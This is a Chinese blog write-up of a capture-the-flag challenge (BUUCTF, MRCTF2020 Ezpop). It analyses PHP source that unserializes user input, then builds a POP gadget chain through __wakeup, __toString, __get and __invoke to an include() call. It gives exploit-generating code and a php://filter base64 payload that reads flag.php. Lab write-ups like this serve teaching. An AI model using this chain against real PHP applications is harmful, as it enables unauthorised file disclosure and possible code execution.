BUUCTF闯关日记--[MRCTF2020]Ezpop1

进入页面,熟悉的代码审计

提示了flag.php 

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
>

先看关键代码

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

对pop进行反序列化,让反序化输出我们想要的falg

分析类:

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

这里面有个魔法函数__invoke,这个函数当脚本尝试将对象调用为函数时会触发

因为__invoke调用了append,有个文件包含,可以把我们想要的flag带出来

所以我们要触发__invoke

看下一个类:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__construct当一个对象创建时自动调用,基本上是必定触发的

__get,这个魔法函数是用来访问某些不可访问的数据的属性  比如私有属性

可以看到__get里属性p会被当作函数执行,满足了Modifier里面的__invoke,所以我们现在要触发__get,魔法函数__get会在访问类中一个不存在的属性时自动调用

看下一个类:

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

__tostring当对象被当作字符处理会触发,可以看到下面有个正则匹配,是把source这个对象当作匹配对象,所以可以触发,那么怎么触发__wakeup,__wakeup反序列的时候就会调用,所以形成了一个闭环

unserialize->__wakeup->__tostring->调用class test->接受的source是不存在的->调用__get->调用__invoke->include()

所以要把include()里面包含我们的flag

构造EXP:

<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));

urlencode是因为protected是私有属性

不同属性的对象序列化后字符格式是不一样的

Private属性 : 数据类型:属性名长度:&quot;\00类名\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

Protected属性 : 数据类型:属性名长度:&quot;\00*\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

 可以看到有\00如果直接输出的话会被直接省略

访问后会发现

所以我们把 

protected  $var="flag.php";

这个地方使用伪协议获取flag.php文件

改成

protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

得到

 

去解码:

 

得到flag 

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值